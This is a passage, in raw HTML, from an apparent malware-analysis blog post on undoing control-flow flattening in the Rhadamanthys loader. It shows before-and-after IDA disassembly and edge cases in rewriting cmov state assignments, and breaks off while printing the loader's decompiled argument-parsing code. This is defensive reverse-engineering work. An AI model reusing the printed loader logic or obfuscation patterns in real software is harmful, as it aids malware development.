&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B4&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_448&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B9&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2B8162DCh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4BE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;456A4274h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4CC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B6C0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4D2&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40A607&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After rewriting:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B4&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_448&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B9&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2B8162DCh&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; irrelevant leftover&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4BE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;456A4274h&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; irrelevant leftover&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jz&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B199&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 456A4274h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C9&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40ADA2&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 2B8162DCh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, the condition code from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmovcc&lt;/code&gt; is simply adapted for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jz&lt;/code&gt; here).
It’s just a question of figuring out which operand of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; goes where (in logical terms), so you don’t swap the destinations by accident.&lt;/p&gt;

&lt;p&gt;While this all seems “simple” enough, care still needs to be taken.
Especially in larger blocks, there may be situations where the compiler put other flag-affecting instructions below the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt;.
Then by the time you do your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt;, the flags won’t be what you expected anymore!
For the most part, these were artifacts from the jump obfuscation that can be done away with by doing a more comprehensive cleanup in that previous deobfuscation phase.
But it’s still something that needs to be checked for before rewriting, else you’re in for nasty logic bugs.&lt;/p&gt;

&lt;p&gt;Lastly, there is a special case where the state register is not set to a constant, but to a stack variable.
This is sometimes the case for decisions that can be evaluated in the function’s first block, so the branch condition and state keys will be up there.
It poses quite a challenge, because in order to have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; in a block way down in the function, you also need to pull down the branch condition. That’s not always trivial, especially if there’s a comparison against some volatile register that is only valid in the first block.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; Up in the in the first block:&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A59D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;arg_4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;; we need this down at 40BEXX&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5A1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0EC71CA67h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5A6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0A0716E5Bh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5AB&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5AE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_44C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; Site of use (state var assignment):&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BECC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_44C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; load stack variable&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B6C0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEDC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40A607&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For simplicity’s sake, we’re going to make the following assumptions:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;At sites where stack variables like that are used, the stack pointer has the same value as in the first block.&lt;/li&gt;
  &lt;li&gt;Relevant stack variables (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg_4&lt;/code&gt; in the example) are not overwritten in the middle of the function. You may wonder why an argument would ever be overwritten (even if it’s not needed anymore in the rest of the function), but you’d be surprised how inventive compilers can get when looking for free space for temp vars.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are pretty big assumptions that won’t hold in many programs, but in this case they seem to work and save us &lt;strong&gt;a lot&lt;/strong&gt; of headaches.&lt;/p&gt;

&lt;p&gt;That means comparisons such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp [ebp+arg_4], 0&lt;/code&gt; can be moved as-is.
In another case, we may find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp ecx, 0&lt;/code&gt; instead - then we need to track where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; comes from.
It could be another memory load like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov ecx, [ebp+arg_4]&lt;/code&gt;, in which case we can simply propagate the operand and end up with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp [ebp+arg_4], 0&lt;/code&gt; again.
But &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; could also be the result of a more complex computation or even a parameter if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fastcall&lt;/code&gt; calling convention is used.
In such situations, we can employ a trick and re-use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var_44C&lt;/code&gt; variable that the obfuscator allocated.
Instead of using it for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; result, we’ll place our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; register into the stack var, so that we can load it again in the block further down. Obviously, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; and any dependent instructions need to be nopped for that to work.&lt;/p&gt;

&lt;p&gt;The attentive reader may wonder what would happen if we had &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmp ecx, edx&lt;/code&gt; and both registers were &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fastcall&lt;/code&gt; parameters.
Yeah, that would suck; thankfully it never happens in the sample.&lt;/p&gt;

&lt;p&gt;The code for the above-mentioned operand analysis can be found &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_cflow.py#L217&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So in summary, dealing with this particular flattening is not hard on a conceptual level.
The bulk work is getting all the edge cases right.&lt;/p&gt;

&lt;h3 id=&quot;final-results&quot;&gt;Final results&lt;/h3&gt;

&lt;p&gt;At this point you probably want to see an updated graph.
Unfortunately, we’re not nopping out &lt;em&gt;all&lt;/em&gt; code belonging to the CFF dispatcher, so IDA will still create blocks for it.
So we’ll simply pretend the top part of the CFG does not exist, okay? Okay.&lt;/p&gt;

&lt;figure id=&quot;rhada_final_cfg&quot; class=&quot;figure-posts&quot; style=&quot;width: 60%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/11/rhada_final_cfg.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/11/rhada_final_cfg.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/11/rhada_final_cfg.png&quot; alt=&quot;Control flow graph for loader main function after unflattening&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/11/rhada_final_cfg.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/11/rhada_final_cfg.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/11/rhada_final_cfg.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Looks enough like a CFG of a sane function to me!&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The main function has turned out very pretty, despite being one of the longest functions in the program and the amount of obfuscation-related blocks it originally had:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1603178917&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpMultiByteStr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;328086937&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpMultiByteStr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MultiByteToWideChar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpMultiByteStr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WCHAR&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;calloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;lpCmdLine&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CommandLineToArgvW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lpCmdLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pNumArgs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lstrlenW&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;66&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;98&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hMem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
